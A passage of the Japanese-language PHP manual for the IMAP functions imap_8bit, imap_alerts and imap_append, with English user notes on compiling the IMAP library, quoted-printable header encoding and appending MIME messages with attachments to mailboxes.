         //check for new messages

         $mailbox = imap_open("{localhost/pop3:110}INBOX",
                 "#username#","#password#");

         // Check messages
         $check = imap_check($mailbox);
         print("<PRE>");
         print("Date most recent message : " . $check->Date);
         print("<BR>");
         print("Connection type : " . $check->Driver);
         print("<BR>");
         print("Name of the mailbox : " . $check->Mailbox);
         print("<BR>");
         print("Number of messages : " . $check->Nmsgs);
         print("<BR>");
         print("Number of recent messages : " . $check->Recent);
         print("<BR>");
         print("</PRE>");

         // show headers for messages

         $index=1;

         $header = imap_header($mailbox, $index);
         print("<PRE>");
         print("Header Date : " . $header->Date . "<BR>");
         print("Header To : " . $header->to) . "<BR>";
         print("Header From : " . $header->From . "<BR>");
         print("Header cc : " . $header->cc . "<BR>");
         print("Header ReplyTo : " . $header->ReplyTo . "<BR>");
         print("Header Subject : " . $header->Subject . "<BR></PRE>");

         print("<PRE>");
         print(imap_body($mailbox,$index));
         print("</PRE><HR>");

         imap_close($mailbox);
?>

</BODY></HTML>
seem dot iges at mail dot ee 15-Feb-2005 05:48
If you like me disvoer that "make slx" fails, but you're damn sure you've openssl installed then, it might be that the lib and include paths on your distro are different then the defaults provided in the imap-2004a (or imap-XXXXx). To modify go to dir ../imap-2004a/src/osdep/unix and edit the section (shown below) in the Makefile

# Extended flags needed for SSL.  You may need to modify.

#SSLDIR=/usr/local/ssl
SSLDIR=/etc/ssl
SSLCERTS=$(SSLDIR)/certs
SSLKEYS=$(SSLCERTS)
#SSLINCLUDE=$(SSLDIR)/include
SSLINCLUDE=/usr/include/openssl
#SSLLIB=$(SSLDIR)/lib
SSLLIB=/usr/lib

SSLCRYPTO=-lcrypto

Commented out SSLDIR, SSLINCLUDE and SSLIB are defaults and the uncommented are valid paths for Slackware (10.0/10.1).
You should also check your ld.so.conf for valid paths.
antivert 13-Jan-2005 08:55
Note that is not not necessary to disable SSL in the IMAP compile to make it work with PHP 5.0.3.

1. Compile IMAP with SSL support for your system:

cd /path/to/imap/source/
make <system type> (ldb, lnx, etc)
mkdir include
mkdir lib

2. Make links in IMAP source directory:

cd /path/to/imap/source/c-client
cp *.h ../include/
cp *.c ../lib/
cp c-client.a ../lib/libc-client.a

3. Compile PHP with SSL support,  --with-imap=/path/to/imap/source/ . If SSL support fails, you'll get a configure-time error that IMAP doesn't work. This is a lie, you just need to get SSL support working in PHP. On certain linux systems, with OpenSSL 0.9.7, this means adding --with-openssl=/usr (if the OpenSSL files are in /usr/include/openssl/) instead of the proper directory containing the OpenSSL files. For some reason, giving a parent directory makes PHP able to find the OpenSSL include files.

4. PHP should build.

Alternately, you can disable SSL during the IMAP build, as per the previous directions posted here.
amit dot gupta at prudence-india dot com 18-Nov-2004 12:44
I faced problem in compiling imap with php-5.0.2 release version. Then following commands on snapshot version solved my problem

# tar -zxvf imap-2004b.DEV.tar.Z
# cd imap-2004b.DEV.SNAP-0411051435/
# make lnp SSLTYPE=none
# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.h /usr/local/imap-2004b.DEV.SNAP-0411051435/include/

# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.c /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/

# ln -s /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/c-client.a /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/libc-client.a

# tar -zxvf php5-STABLE-200411180530.tar.gz

# cd php5-STABLE-200411180530

./configure  --with-apxs2=/usr/sbin/apxs --enable-shared --with-mod_charset --enable-force-cgi-redirect --enable-fastcgi --enable-magic-quotes --with-openssl  --with-zlib  --enable-bcmath  --enable-calendar --with-curl  --with-curlwrappers  --enable-dba   --with-gdbm --with-cdb  --with-inifile  --with-flatfile  --enable-dbase   --enable-dbx     --enable-dio --with-fam  --enable-filepro  --enable-ftp  --with-ldap  --enable-mbstring --with-mysql=/usr/include  --with-zlib-dir  --enable-shmop --enable-soap  --enable-sockets    --enable-sysvmsg   --enable-sysvsem  --enable-sysvshm  --enable-wddx --with-pic --enable-versioning  --with-pgsql --with-java=/usr/java/jdk1.5.0/  --with-imap=/usr/local/imap-2004b.DEV.SNAP-0411051435 --with-kerberos

# make

# make install

Thus, php compiled sucessufully with imap support on fedora core 1.
Pete Spicer, sleeping [at] myperch.org 17-Jul-2004 03:19
I have a pretty much stock set-up of SuSE 8.1 Personal (Apache, PHP et al built by me) and IMAP-2004 refused to build for me.

What I found was, using the make lsu (for SuSE) almost worked built I was getting odd build results, i.e. make failures.

The problem? GCC 3.2. If you don't have an older GCC available, please install one! I installed the gcc_old package from SuSE and built with the following command:

CC=gcc297 make lsu SSLTYPE=none

The result was a perfect build. So if you are getting errors, please try an earlier build of GCC.
Tomas V.V.Cox 11-May-2004 06:15
For compiling this extension without compiling imap from sources I did (this was mandrake):

Install the following rpms:
imap
imap-devel
openssl
openssl-devel
krb5
krb5-devel
pam
pam-devel

Do the trick:
# mkdir /usr/include/imap/lib
# cp /usr/lib/libc-client-PHP4.a /usr/include/imap/lib/libc-client.a

And the configure line:
./configure <options> --with-imap=/usr/include/imap --with-imap-ssl

(don't forget --enable-pear ;)


8 ビット文字列を quoted-printable 文字列に変換する

  • ≪ IMAP 関数
  • imap_alerts ≫
  • PHP Manual
  • IMAP 関数
  • 8 ビット文字列を quoted-printable 文字列に変換する

imap_8bit

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_8bit — 8 ビット文字列を quoted-printable 文字列に変換する

説明

imap_8bit ( string $string ) : string|false

(» RFC2045, section 6.7 に基づき) 8 ビット文字列を quoted-printable 文字列に変換します。

パラメータ

string

変換する 8 ビット文字列。

返り値

quoted-printable 文字列を返します。 失敗した場合に false を返します

参考

  • imap_qprint() - quoted-printable 文字列を 8 ビット文字列に変換する

User Contributed Notes

dave at jufer dot info 27-Aug-2015 09:18
Encode a mail-subject-string to a encoded-word according to RFC2047 with awareness of special characters and total-linelength of 75.
Example: "Subject Testa" -> "=?ISO-8859-1?Q?Subject_Test=E4?="
<?php
function getSubjectEncoded($_str,$_charset='ISO-8859-1'){
    // 27.08.2015 david jufer
    // Convert an 8bit string to a encoded-word string (according to RFC2047) www.ietf.org/rfc/rfc2047.txt
    // encoded-word = "=?" charset "?" encoding "?" encoded-text "?="
    // An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.
    // The "Q" encoding is similar to the "Quoted-Printable" content-transfer-encoding defined in RFC 2045
    $ret = '';
    $str = imap_8bit($_str);
    $len = 7+strlen($_charset);
    // remove linebreaks from imap_8bit, string chunks are too long
    $str = str_replace("=\r\n",'',$str);
    // insert linebreaks at right position, be aware of special chars ("a" "=E4") do not split them
    $s = 0;
    $l = 75-$len;
    while(strlen($str)>$s){
        $ts = $s;
        if(substr($str,($s+$l)-2,1)=='='){
            $s += $l-2;
        }else if(substr($str,($s+$l)-1,1)=='='){
            $s += $l-1;
        }else{
            $s += $l;
        }
        $ret .= "\r\n".substr($str,$ts,$s-$ts);
    }
    // remove first linebreak, replace SPACES with "_"
    $ret = str_replace(' ','_',trim($ret));
    // put together encoded-word
    $ret = '=?'.$_charset.'?Q?'.str_replace("\r\n","?=\r\n =?".$_charset."?Q?",$ret)."?=";
    // ruckgabe
    return $ret;
}
?>
Michael Konecny 12-Jun-2011 09:57
There is a bug in MS Exchange server, that improperly handles CRLFs. Seems like it converts both CR and LF into LF, so, instead of getting just a new line, you get TWO new lines.
The header information is then improperly parsed by the e-mail client, and is usually viewed in the message body.

This can make custom-created headers unusable.

The only way I found to get around this is to go against RFC rules for header formatting, and use only \n for new lines.

Unfortunately I haven't been able to learn the version of Exchange server where this happened, but I have the feeling that it's not just the one I was unlucky to encounter.

Hope this helps someone.
esh dot software at energiash dot com 02-Sep-2009 06:45
When producing quoted printable emails this is the right way

$subject="Subject: =?iso-8859-1?Q?". imap_8bit("aeiou"). "?=";

and the following would do the wrong thing, because qprint over "=ED" would produce 8bit data ( i ):

$subject="Subject: =?iso-8859-1?Q?". imap_qprint("=ED"). "?=";
Anonymous 22-Jun-2008 05:25
umu's code seems to work great. BUT if you are on a Unix system you should replace all chr(13).chr(10) with just chr(10)

Works for me anyway on php5.mail() -> qmail@suse10.1 -> outlook express
roman at REMOVETHIS dot teamnet dot com dot pl 11-May-2007 04:26
Code based on k dot kozlowski at enter dot pl but for UTF-8
(the only problem i encounter is SUBJECT_ENCODED_TWICE on SPAM test with very long subject, but the same produce others MUA's)
<?
function header_quoted_printable_encode($string, $encoding='UTF-8') {

    $string = str_replace(" ", "_", trim($string)) ;
    // We need to delete "=\r\n" produced by imap_8bit() and replace '?'
    $string = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($string))) ;

    // Now we split by \r\n - i'm not sure about how many chars (header name counts or not?)
    $string = chunk_split($string, 73);
    // We also have to remove last unneeded \r\n :
    $string = substr($string, 0, strlen($string)-2);
    // replace newlines with encoding text "=?UTF ..."
    $string = str_replace("\r\n", "?=".HEAD_CRLF." =?".$encoding."?Q?", $string) ;

    return '=?'.$encoding.'?Q?'.$string.'?=';
}
?>
umu 28-Jan-2006 05:58
...deed.ztinmehc-ut.zrh@umuumu@hrz.tu-chemnitz.deed...

I use the following function instead of imap_8bit
when using PHP without the IMAP module,
which is based on code found in
http://www.php.net/quoted_printable_decode,
and giving (supposedly) exactly the same results as imap_8bit,
(tested on thousands of random strings containing lots
of spaces, tabs, crlf, lfcr, lf, cr and so on,
no counterexample found SO FAR:)

AND you can force a trailing space to be encoded,
as opposed to what imap_8bit does,
which I consider is a violation of RFC2045,
(see http://bugs.php.net/bug.php?id=35290)
by commenting that one central line.

<?php
function quoted_printable_encode($sText,$bEmulate_imap_8bit=true) {
  // split text into lines
  $aLines=explode(chr(13).chr(10),$sText);

  for ($i=0;$i<count($aLines);$i++) {
    $sLine =& $aLines[$i];
    if (strlen($sLine)===0) continue; // do nothing, if empty

    $sRegExp = '/[^\x09\x20\x21-\x3C\x3E-\x7E]/e';

    // imap_8bit encodes x09 everywhere, not only at lineends,
    // for EBCDIC safeness encode !"#$@[\]^`{|}~,
    // for complete safeness encode every character :)
    if ($bEmulate_imap_8bit)
      $sRegExp = '/[^\x20\x21-\x3C\x3E-\x7E]/e';

    $sReplmt = 'sprintf( "=%02X", ord ( "$0" ) ) ;';
    $sLine = preg_replace( $sRegExp, $sReplmt, $sLine );

    // encode x09,x20 at lineends
    {
      $iLength = strlen($sLine);
      $iLastChar = ord($sLine{$iLength-1});

      //              !!!!!!!!
      // imap_8_bit does not encode x20 at the very end of a text,
      // here is, where I don't agree with imap_8_bit,
      // please correct me, if I'm wrong,
      // or comment next line for RFC2045 conformance, if you like
      if (!($bEmulate_imap_8bit && ($i==count($aLines)-1)))

      if (($iLastChar==0x09)||($iLastChar==0x20)) {
        $sLine{$iLength-1}='=';
        $sLine .= ($iLastChar==0x09)?'09':'20';
      }
    }    // imap_8bit encodes x20 before chr(13), too
    // although IMHO not requested by RFC2045, why not do it safer :)
    // and why not encode any x20 around chr(10) or chr(13)
    if ($bEmulate_imap_8bit) {
      $sLine=str_replace(' =0D','=20=0D',$sLine);
      //$sLine=str_replace(' =0A','=20=0A',$sLine);
      //$sLine=str_replace('=0D ','=0D=20',$sLine);
      //$sLine=str_replace('=0A ','=0A=20',$sLine);
    }

    // finally split into softlines no longer than 76 chars,
    // for even more safeness one could encode x09,x20
    // at the very first character of the line
    // and after soft linebreaks, as well,
    // but this wouldn't be caught by such an easy RegExp
    preg_match_all( '/.{1,73}([^=]{0,2})?/', $sLine, $aMatch );
    $sLine = implode( '=' . chr(13).chr(10), $aMatch[0] ); // add soft crlf's
  }

  // join lines into text
  return implode(chr(13).chr(10),$aLines);
}
?>
hans at lintoo dot dk 22-Dec-2005 06:05
The code below this note gives a lot of trouple with SpamAssasin, to fix it you will need to encode your subject with something like this:
<?php
/**
 * Function to encode a header if necessary
 * according to RFC2047
 */
private function encodeHeader($input, $charset = 'ISO-8859-1')
{
    preg_match_all('/(\s?\w*[\x80-\xFF]+\w*\s?)/', $input, $matches);
    foreach ($matches[1] as $value) {
        $replacement = preg_replace('/([\x20\x80-\xFF])/e', '"=" . strtoupper(dechex(ord("\1")))', $value);
        $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
    }

    return wordwrap($input,75,"\n\t",true);
}
?>
hans at lintoo dot dk 04-Oct-2005 10:35
I modified nick at plumdigitalmedia dot com's note so that it may support ISO-8859-1 encoded headers:
<?php
    public function encodeSubject($string,$prefix="=?ISO-8859-1?Q?",$postfix="?=")    {
        $crlf    = "\n\t";
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]    = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]    = '/([\011\040])' . $crlf . '/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string);
        return $prefix.trim(wordwrap($string, 70 - strlen($prefix) - strlen($postfix), ' ' . $postfix . $crlf . $prefix, true)).$postfix;
    }
?>
Regards, Hans @ http://lintoo.dk/
marco dot manngatter at ecg-leipzig dot de 15-Sep-2005 03:43
you can use the following to make a larger subject.
use the imap_qprint() function, to convert your subject.

example:
<?php

$subject .= "=?iso-8859-1?Q?" . imap_qprint($subject) . "?=";

?>
nick at plumdigitalmedia dot com 10-May-2005 08:15
This function appears to wrap lines in the middle of words, not just at whitespace, which upsets some versions of Outlook Express when used to format email body text. We've had more luck with this function:

<?

    function quoted_printable($string)
    {
        $crlf    = "\n" ;
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]     = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]     = '/([\011\040])' . $crlf . '/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string) ;
        return trim(wordwrap($string, 70, ' =' . $crlf)) ;
    }

?>
k dot kozlowski at enter dot pl 14-Mar-2005 06:50
I had problems with encoding large subjects with polish characters. The problem was that imap_8bit() splits subject (on 75-th char) but when I add "=?ISO-8859-2?Q?" the header is too long.

This is a solution :
<?php
$subject = str_replace(" ", "_", trim($subject)) ;
// We need to delete "=\r\n" produced by imap_8bit() and replace '?'
$subject = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($subject))) ;
// Now we split by \r\n but with encoding text "=?ISO ..."
$subject = str_replace("\r\n", "?=\r\n =?ISO-8859-2?Q?", chunk_split($subject, 55)) ;
// We also have to remove last unneeded encoding text :
$subject = "=?ISO-8859-2?Q?" . substr($subject, 0, strlen($subject)-20) . "?=" ;
?>
rayFX 24-Jun-2004 09:14
imap_8bit seems to have a bug as it doesn't encode "?".
Had a lot of trouble to encode a mail-subject with
german umlaute with an ending "?"...

Try this:

$subject = "=?iso-8859-1?Q?" . str_replace("?","=3F",imap_8bit($tsubject_to_encode)) . "?=";
MagicalTux at FF.ST 15-Dec-2003 06:50
Reading Bully's note :
you can use the following to make a larger subject:
<?
$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
?>
It's wrong. The header MAY NOT go over 75 chars per line.

The right solution :
<?
$encoded = rtrim( str_replace( "\n","\n\t", imap_8bit ($string_to_encode)))."\r\n";
?>

It will add \t at the start of the encoded new lines.
Mailers to see the lines after Subject: as extensions of this header.
php dot net at werner-ott dot de 09-Dec-2002 02:45
A comment on the "split-after-75-characters" phenomenon:

By splitting lines up after 75 characters, the function's behaviour is complying to RFC2047 (http://www.ietf.org/rfc/rfc2047.txt) (which specifies a protocol for the representation of non-ASCII text in message headers), section "2. Syntax of encoded-words".

A so called 'encoded word' has the following format:

   encoded-word = "=?" charset "?" encoding "?" encoded-text "?="

An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.  If it is desirable to encode more text than will fit in an 'encoded-word' of 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may be used.

hth
WOT
bully at newearth dot de 24-Apr-2002 07:48
you can use the following to make a larger subject:

$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
zuffa at isdd dot sk 23-Sep-2000 08:57
Warning !
This function splits input text into
several lines aligned to 75 characters.
This is critical when you need input
text to be only one striaght line as
e.g. in e-mail header values.


発生した IMAP 警告メッセージを返す

  • ≪ imap_8bit
  • imap_append ≫
  • PHP Manual
  • IMAP 関数
  • 発生した IMAP 警告メッセージを返す

imap_alerts

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_alerts — 発生した IMAP 警告メッセージを返す

説明

imap_alerts ( ) : array|false

直近に imap_alerts() をコールして以来、 またはページ処理を開始して以来生成された 全 IMAP 警告メッセージの配列を返します。

imap_alerts() がコールされた場合、 その処理後に警告のスタックはクリアされます。IMAP の仕様では、 これらのメッセージをユーザーに渡すことが規定されています。

返り値

全ての IMAP 警告メッセージの配列、あるいは警告メッセージが発生していない場合は false を返します。

参考

  • imap_errors() - 発生したすべての IMAP エラーを返す

User Contributed Notes

There are no user contributed notes for this page.


指定されたメールボックスに文字列メッセージを追加する

  • ≪ imap_alerts
  • imap_base64 ≫
  • PHP Manual
  • IMAP 関数
  • 指定されたメールボックスに文字列メッセージを追加する

imap_append

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_append — 指定されたメールボックスに文字列メッセージを追加する

説明

imap_append ( resource $imap , string $folder , string $message , string|null $options = null , string|null $internal_date = null ) : bool

指定したメールボックス folder に文字列メッセージ message を追加します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

folder

メールボックスの名前。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

message

追加したいメッセージを表す文字列。

Cyrus IMAP サーバーと通信する際には、改行コードとして "\n" のかわりに "\r\n" を使用する必要があります。さもなくば、操作は失敗します。

options

指定した場合は、 options もその folder に書きこまれます。

internal_date

このパラメータが設定されていると、追加したメッセージに INTERNALDATE を設定します。 このパラメータは、rfc2060 の日付時刻値の仕様を満たす文字列でなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | options と internal_date は、nullable になりました。

例

例1 imap_append() の例

<?php
$stream = imap_open("{imap.example.org}INBOX.Drafts", "username", "password");

$check = imap_check($stream);
echo "Msg Count before append: ". $check->Nmsgs . "\n";

imap_append($stream, "{imap.example.org}INBOX.Drafts"
                   , "From: me@example.com\r\n"
                   . "To: you@example.com\r\n"
                   . "Subject: test\r\n"
                   . "\r\n"
                   . "this is a test message, please ignore\r\n"
                   );

$check = imap_check($stream);
echo "Msg Count after append : ". $check->Nmsgs . "\n";

imap_close($stream);
?>

User Contributed Notes

scott at threeam dot com dot au 13-Dec-2018 10:02
From my testing today, if using PHPMailer to send to an Exchange based IMAP server with an attachment or embedded image greater than 7kb, you will need to change the line returns from unix format to windows format. I simply did a string replace on '\n' and replaced with '\r\n' to get this done.

$content =  str_replace("\n", "\r\n", $mail->getSentMIMEMessage());
$result = imap_append($imapStream, $path, $content);
Mime email format example 14-Aug-2017 09:22
Mime message example (smtp telnet DATA example):

From: from@ccc.cc
To: to@@ccc.cc
Subject: Example Email
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="MixedBoundaryString"

--MixedBoundaryString
Content-Type: multipart/related; boundary="RelatedBoundaryString"

--RelatedBoundaryString
Content-Type: multipart/alternative; boundary="AlternativeBoundaryString"

--AlternativeBoundaryString
Content-Type: text/plain;charset="utf-8"
Content-Transfer-Encoding: quoted-printable

This is the plain text part of the email.

--AlternativeBoundaryString
Content-Type: text/html;charset="utf-8"
Content-Transfer-Encoding: quoted-printable

<html>
  <body>=0D
    <img src=3D=22cid:masthead.png=40ccc.cc=22 width 800 height=3D80=
 =5C>=0D
    <p>This is the html part of the email.</p>=0D
    <img src=3D=22cid:logo.png=40ccc.cc=22 width 200 height=3D60 =5C=
>=0D
  </body>=0D
</html>=0D

--AlternativeBoundaryString--

--RelatedBoundaryString
Content-Type: image/jpgeg;name="logo.png"
Content-Transfer-Encoding: base64
Content-Disposition: inline;filename="logo.png"
Content-ID: <logo.png@ccc.cc>

amtsb2hiaXVvbHJueXZzNXQ2XHVmdGd5d2VoYmFmaGpremxidTh2b2hydHVqd
dWkgb2l1b3NydGhpdXRvZ2hqdWlyb2h5dWd0aXJlaHN1aWhndXNpaHhidnVqZ
a25qbW9nNXRwbF0nemVycHpvemlnc3k5aDZqcm9wdHo7amlodDhpOTA4N3U5
LGZ2cDBbZWRzcm85eWo1Zmtsc2xrZ3g=

--RelatedBoundaryString
Content-Type: image/jpgeg;name="masthead.png"
Content-Transfer-Encoding: base64
Content-Disposition: inline;filename="masthead.png"
Content-ID: <masthead.png@ccc.cc>

aXR4ZGh5Yjd1OHk3MzQ4eXFndzhpYW9wO2tibHB6c2tqOTgwNXE0aW9qYWJ6aX
dGlmOTA0cW05dGkwbWk0OXQwYVttaXZvcnBhXGtsbGo7emt2c2pkZnI7Z2lwb2F
eXN6dWdoeXhiNzhuZzdnaHQ3eW9zemlqb2FqZWt0cmZ1eXZnamhka3JmdDg3aXV2dWd5aGVidXdz
dhyuhehe76YTGSFGA=

--RelatedBoundaryString--

--MixedBoundaryString
Content-Type: application/pdf;name="Invoice_1.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;filename="Invoice_1.pdf"

aGZqZGtsZ3poZHVpeWZoemd2dXNoamRibngganZodWpyYWRuIHVqO0hmSjtyRVVPIEZSO05SVURF
SEx1aWhudWpoZ3h1XGh1c2loZWRma25kamlsXHpodXZpZmhkcnVsaGpnZmtsaG
a2psajY1ZWxqanNveHV5ZXJ3NTQzYXRnZnJhZXdhcmV0eXRia2xhanNueXVpNjRv

--MixedBoundaryString
Content-Type: application/pdf;name="SpecialOffer.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;filename="SpecialOffer.pdf"

aXBvY21odWl0dnI1dWk4OXdzNHU5NTgwcDN3YTt1OTQwc3U4NTk1dTg0dTV5OG
cS0zNHU4NTk0eWI4OTcwdjg5MHE4cHV0O3BvYTt6dWI7dWlvenZ1em9pdW51dD
OTViOHk5cDV3dTh5bnB3dWZ2OHQ5dTh2cHVpO2p2Ymd1eTg5MGg3ajY4bjZ2ODl1ZGlvcjQ1amts
dfnhgjdfihn=

--MixedBoundaryString--

.

// Or you can download from
https://www.phpclasses.org/browse/file/14672.html
nanomoow at gmail dot com 20-Aug-2016 06:38
// this works for me, better version :].
<?php
$fn = 'filename.zip';
$IMAPhost = 'imap.hostname.com';
// IMAP port 143, 995 or POP3 port 110, 995
$IMAPport = '143';
$IMAPssl = 'tls';
$IMAP = '{'.$IMAPhost.':'.$IMAPport.'/imap/'.$IMAPssl.'/novalidate-cert}';
$IMAPuser = 'hello@hostname.com';
$msg ='Message text <h1 style="color: #093"> Hello </h1>';
// imap email and password
$ibox = imap_open($IMAP, $_SESSION['email'], $_SESSION['pass']);
$dmy=date("Y-m-d H:i:s");
// pack file contents
$attachment = chunk_split(base64_encode(file_get_contents('tmp/'.$fn)));

        $boundary1 = "###".md5(microtime())."###";
        $boundary2 = "###".md5(microtime().rand(99,999))."###";
        imap_append($ibox, $IMAP."Send"
                      , "From: Hello <".$IMAPuser.">\r\n"
            . "To: ".$email."\r\n"
            . "Date: $dmy\r\n"
            . "Subject: ".quoted_printable_encode($sub)."\r\n"
                . "MIME-Version: 1.0\r\n"
                . "Content-Type: multipart/mixed; boundary=\"$boundary1\"\r\n"
                . "\r\n\r\n"
                . "--$boundary1\r\n"
                . "Content-Type: multipart/alternative; boundary=\"$boundary2\"\r\n"
                . "\r\n\r\n"
                // ADD Plain text data
                . "--$boundary2\r\n"
                . "Content-Type: text/plain; charset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: quoted-printable\r\n"
                . "\r\n\r\n"
                . $msg."\r\n"
                . "\r\n\r\n"
                // ADD Html content
                . "--$boundary2\r\n"
                . "Content-Type: text/html; charset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: quoted-printable \r\n"
                . "\r\n\r\n"
                . html_entity_decode($msg)."\r\n"
                . "\r\n\r\n"
                . "--$boundary2\r\n"
                . "\r\n\r\n"
                // ADD attachment(s)
                . "--$boundary1\r\n"
                . "Content-Type: image/gif; name=\"$fn\"\r\n"
                . "Content-Transfer-Encoding: base64\r\n"
                . "Content-Disposition: attachment; filename=\"$fn\"\r\n"
                . "\r\n\r\n"
                . $attachment
                . "\r\n\r\n"
                . "--$boundary1--\r\n\r\n"
        );

// nigdy wi?cej takich dziwactw :) ble..
?>
nanomoow at gmail dot com 19-Aug-2016 08:15
$fn = 'filename.zip';
$IMAPhost = 'imap.hostname.com';
// IMAP port 143, 995 or POP3 port 110, 995
$IMAPport = '143';
$IMAPssl = 'tls';
$IMAP = '{'.$IMAPhost.':'.$IMAPport.'/imap/'.$IMAPssl.'/novalidate-cert}';
$IMAPuser = 'hello@hostname.com';
$msg ='Message text <h1 style="color: #093"> Hello </h1>';
// imap email and password
$ibox = imap_open($IMAP, $_SESSION['email'], $_SESSION['pass']);
$dmy=date("Y-m-d H:i:s");
// pack file contents
$attachment = chunk_split(base64_encode(file_get_contents('tmp/'.$fn)));
$boundary = "------=".md5(uniqid(rand()));
imap_append($ibox, $IMAP."Send"
            , "From: Hello <".$IMAPuser.">\r\n"
            . "To: ".$email."\r\n"
            . "Date: $dmy\r\n"
            . "Subject: ".$sub."\r\n"
                     . "MIME-Version: 1.0\r\n"
                . "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"
                . "\r\n\r\n"
                . "--$boundary\r\n"
                . "Content-Type: text/html;\r\n\tcharset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: 8bit \r\n"
                . "\r\n\r\n"
            . html_entity_decode($msg)."\r\n"
                . "\r\n\r\n"
                . "--$boundary\r\n"
                . "Content-Transfer-Encoding: base64\r\n"
                . "Content-Disposition: attachment; filename=\"$fn\"\r\n"
                . "\r\n" . $attachment . "\r\n"
                . "\r\n\r\n\r\n"
                . "--$boundary--\r\n\r\n"
);
Krzysiek 15-May-2015 12:18
You can use PHPMailer ( https://github.com/PHPMailer/PHPMailer/ ) with imap.

<?php
// after creating content of mail you have to run preSend() - part of send() method
$mail->send();
// and you can get whole raw message with getSentMIMEMessage() method
imap_append($imap, $mailserver.'INBOX.Sent',$mail->getSentMIMEMessage(), "\\Seen");
rixsta at hotmail dot com 21-Feb-2013 08:59
Hi,

As we have been struggling with this for some time I wanted to share how we got imap_append working properly with all MIME parts including attachments.  If you are sending email and also wish to append the sent message to the Sent Items folder, I cannot think of an easier way to do this, as follows:

1) Use SwiftMailer to send the message via PHP.
$message = Swift_Message::newInstance("Subject goes here");
(then add from, to, body, attachments etc)
$result = $mailer->send($message);

2) When you construct the message in step 1) above save it to a variable as follows:

$msg = $message->toString(); (this creates the full MIME message required for imap_append()!!  After this you can call imap_append like this:

imap_append($imap_conn,$mail_box,$msg."\r\n","\\Seen");

I hope this helps the readers, and prevents saves people from doing what we started doing - hand crafting the MIME messages :-0
serpent at paradise dot net dot nz 06-Feb-2013 08:10
We couldn't get this function to work properly with MS-Exchange/IMAP, not because there's a problem with a the function as such, but because MS-Exchange changed the content-type in the header from multipart/[anything] to text/plain in every instance.  We set ImapMessagesRetrievalMimeFormat to HtmlAndTextAlternative
on the Exchange server, and that didn't help either.  I even tried wrapping the multipart message in a message/rfc822 wrapper and it reached inside the outer message and tweeked the inner message from multipart/alternative to text/plain.

Messages emailed to the mbox were unaffected, I suggest you try that route instead, and move the relevant messages to where you want them.
bill at dyndns dot org 23-Nov-2011 11:45
Here is how I used this function with an attachment. I used examples from everyone else but made it easier and cleaner to change.

<?php
$authhost="{000.000.000.000:993/validate-cert/ssl}Drafts";

$user="sadasd";
$pass="sadasd";

if ($mbox=imap_open( $authhost, $user, $pass))
{
    $dmy=date("d-M-Y H:i:s");

    $filename="filename.pdf";
    $attachment = chunk_split(base64_encode($filestring));

    $boundary = "------=".md5(uniqid(rand()));

    $msg = ("From: Somebody\r\n"
        . "To: test@example.co.uk\r\n"
        . "Date: $dmy\r\n"
        . "Subject: This is the subject\r\n"
        . "MIME-Version: 1.0\r\n"
        . "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
        . "Content-Transfer-Encoding: 8bit \r\n"
        . "\r\n\r\n"
        . "Hello this is a test\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Transfer-Encoding: base64\r\n"
        . "Content-Disposition: attachment; filename=\"$filename\"\r\n"
        . "\r\n" . $attachment . "\r\n"
        . "\r\n\r\n\r\n"
        . "--$boundary--\r\n\r\n");

    imap_append($mbox,$authhost,$msg, "\\Draft");

    imap_close($mbox);
}
else
{
    echo "<h1>FAIL!</h1>\n";
}

?>

Hope this helps someone.
Tigggger 08-Aug-2011 09:30
I encountered 3 problems when attempting to get my server to copy messages to the sent folder.

1. Wouldn't login until I added /novalidate-cert
2. No code example of getting the date sent
3. Including an attachment

Hope this code helps others

<?php
$dmy=date("d-M-Y H:i:s");
$dmy.= " +0100"; // Had to do this bit manually as server and me are in different timezones
$stream=@imap_open("{mail.example.com/novalidate-cert}INBOX.Sent", "username", "password");
$boundary = "------=".md5(uniqid(rand()));
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
$header .= "\r\n";
$file="../path_to/filename.pdf";
$filename="filename.pdf";
